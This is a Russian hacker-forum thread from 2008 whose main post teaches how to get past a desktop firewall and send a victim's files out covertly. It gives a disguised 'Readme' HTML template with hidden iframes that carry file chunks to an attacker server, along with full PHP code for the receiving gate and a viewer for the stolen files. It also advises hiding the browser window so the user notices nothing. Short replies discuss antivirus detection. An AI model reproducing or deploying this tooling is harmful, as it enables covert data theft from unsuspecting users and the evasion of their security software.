Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Хитрый обход файрволов (https://forum.antichat.xyz/showthread.php?t=67873)

desTiny 20.04.2008 22:11

Хитрый обход файрволов
 
I. Вводная часть
Думаю, не имеет смысла говорить, зачем нужно обходить файрволы. В этой небольшой статье я покажу довольно необычный, по моему мнению, достаточно изящный способ их обхода. Заранее предупреждаю – всё нижеизложенное является моими собственными наработками, и их аналогов я не нашёл. Так что, если это уже где-то встречалось, не надо меня ругать… :)
Заранее скажу о минусе данного метода – он годится только для обхода ограничений, связанных с сетевой активностью, так как используется создание процесса, что будет замечено Outpost’ом при настройках уровня локальной безопасности выше «оптимального», но по умолчанию стоит как раз «оптимальный», так что, скорее всего, это прокатит (про KIS не знаю – не проверял, но, вероятнее всего, там то же самое).

II. Идея
Идея проста до гениальности – так как в системе существует множество программ с разрешённым сетевым доступом, то можно воспользоваться их помощью. Итак, что я хочу реализовать конкретно: запускаем интернет-обозреватель на открытие некоторого адреса, тем самым отправив некоторые данные.

III. Реализация
А тут уже будет некоторая хитрость ;)… Итак, допустим нам надо узнать содержимое файла “C:\boot.ini” на целевой машине. Для этого поступим так:

1) Разбиваем файл на блоки некоторого размера (т.к. передавать будем их GET-запросом)
2) Записываем файл типа “Readme!!!.htm” примерно такого содержания:

PHP код:

<html>тра-та-та и прочая шапка<body>тра-та-таспасибо за установку великого программного продукта и т.п.
<
iframe width=”0” height=”0” style=”visibilityhidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш первый блок данных}&pt={номер части(0)}&num={количество частей}></iframe>
<iframe width=”0” height=”0” style=”visibilityhidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш второй блок данных}&pt={номер части(1)}&num={количество частей}></iframe>
.
<
iframe width=”0” height=”0” style=”visibilityhidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш последний блок данных}&pt={номер части(n)}&num={количество частей}></iframe>
</body></html

3) Запускаем файл (“explorer.exe Readme!!!.htm”). Тут 2 варианта: либо запускаем в видимом режиме, тогда вылезает эксплорер с нашим красивым уведомлением о верности выбора человека, установившего программу. Это способ для тех, кто боится, что пользователь может оказаться испуганным сообщением о попытке создания процесса, если у него стоит высокий уровень локальной безопасности, но увидев имя Readme!!!.htm согласится на такой поступок. Тут ещё лучше даже заодно засунуть что-нибудь в статус-бар, чтобы не было видно обращений к странному серверу. А второй вариант – в надежде на настройки фаера у пользователя «по умолчанию», то есть игнорирование запуска процессов, можно открыть эксплорер с параметром SW_HIDE, чтобы пользователь ничего не заметил вообще.
На этом идея реализации кончается.
IV. Файлы для статьи.
Тут реализован данный механизм с нормальным (SW_SHOW) открытием обозревателя (на сервере в папке с gate.php и view.php должны существовать подкталоги fin и tmp).
gate.php:
PHP код:

<?php
$id 
$_GET['rnd'];
$ip $_SERVER['REMOTE_ADDR'];
$ip[strlen($ip) - 1] = "x";
$ip[strlen($ip) - 2] = "x";
$ip[strlen($ip) - 3] = "x";

$n $_GET['num'];
$pn $_GET['pt'];
$text $_GET['tx'];
((
strstr($id"/") === FALSE) && (strstr($n"/") === FALSE)) or die('Fik!');

$handle fopen("tmp/{$id}_{$n}"'w');
fwrite($handle$text);
fclose($handle);


//file_put_contents();
$i 0;
while (
file_exists("tmp/{$id}_{$i}"))
  
$i++;
if (--
$i != $pn)
  die();
$s="";
for (
$i=0$i<=$pn$i++)
    {
        
$s .= file_get_contents("tmp/{$id}_{$i}");
        
unlink("tmp/{$id}_{$i}");
    }
$handle fopen("fin/{$ip}_{$id}"'w');
fwrite($handle$s);
fclose($handle);
?>

view.php:
PHP код:

<?php
if (isset($_GET['del']) && (strstr($_GET['del'], "/") === FALSE))
    
unlink("./fin/".$_GET['del']);
if (
$handle opendir('./fin')) {
    while (
false !== ($file readdir($handle))) {
        if (
$file != "." && $file != "..") {
            echo 
"<a href='fin/$file'>$file</a> <a href=\"?del={$file}\">del</a><br>\r\n";
        }
    }
    
closedir($handle);
}
?>

Сорцы «клиента» (чистый FASM, а вернее чисто фасмовский RadAsm-проект; в сорцах надо поменять некоторые переменные)

Реализация гейта вот этого откомпиленного клиента (грузит ваш файл boot.ini, вы можете его с серва удалить)


V. Заключение
Вот так вот :). Через некоторое время планируется продолжение, описывающее процесс не только загрузки информации на серв, но и с него.
Ну что, как говорится, re всем:)

©73ru5 aka desTiny, 2008.

//add
Продолжение тут

gibson 21.04.2008 01:58

1. проактивка киса словит)
2.
Цитата:

передавать будем их Get-запросом
максимальная длина гет запроса 512б так что большой файл ты не передашь.
а бот ини вряд ли кого интересут.

3. код немного корявый.
за идею +

desTiny 21.04.2008 15:32

Цитата:

Сообщение от gibson
1. проактивка киса словит)
2.

максимальная длина гет запроса 512б так что большой файл ты не передашь.
а бот ини вряд ли кого интересут.

3. код немного корявый.
за идею +

Я и говорю -для этого разбиваем на части - посмотри внимательно на ссылку из iframe'а. А код хоть и корявый, но работает :)

12usver12 21.04.2008 17:19

ету штуку я уже давно использую, а как насчет аддонов к Ie кто-нить использовал...


Время: 12:00